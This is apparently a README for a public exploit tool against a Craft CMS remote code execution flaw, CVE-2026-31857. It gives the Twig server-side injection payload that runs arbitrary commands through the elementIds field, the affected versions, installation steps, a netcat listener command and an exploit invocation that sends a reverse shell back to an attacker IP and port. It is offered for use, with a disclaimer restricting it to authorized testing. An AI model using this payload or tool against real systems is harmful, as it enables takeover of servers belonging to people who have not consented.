CVE-2026-31857 - Craft CMS RCE exploit

Python exploit for a RCE vulnerability in the Craft CMS admin panel, triggered via the admin/actions/element-indexes/count-elements endpoint. The injection goes through the elementIds field of a RelatedToConditionRule condition, which gets interpreted as Twig server-side and abused via the system filter to execute an arbitrary command ({{[['<cmd>']|filter('system')]}}).

Vulnerability disclosed by NeoSprings

Affected versions :

• >= 5.0.0-RC1, <= 5.9.8
• >= 4.0.0-beta.1, <= 4.17.3

References :

• https://github.com/craftcms/cms/security/advisories/GHSA-fp5j-j7j4-mcxc
• https://nvd.nist.gov/vuln/detail/cve-2026-31857

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Installation

$ git clone https://github.com/0xTatsuki/CVE-2026-31857.git
$ cd CVE-2026-31857
$ pip install -r requirements.txt

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Usage

1. Start the listener before running the exploit :

$ nc -lvnp <attacker_port>

2. Run the exploit :

$ python3 CVE-2026-31857.py -t http://<craftcms_base_url> -u <username> -p <password> -i <attacker_ip> -P <attacker_port>

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Disclaimer

This tool is provided for educational purposes and authorized exercises only (CTF, contracted penetration testing or local testing). Using it against any system without explicit authorization is illegal.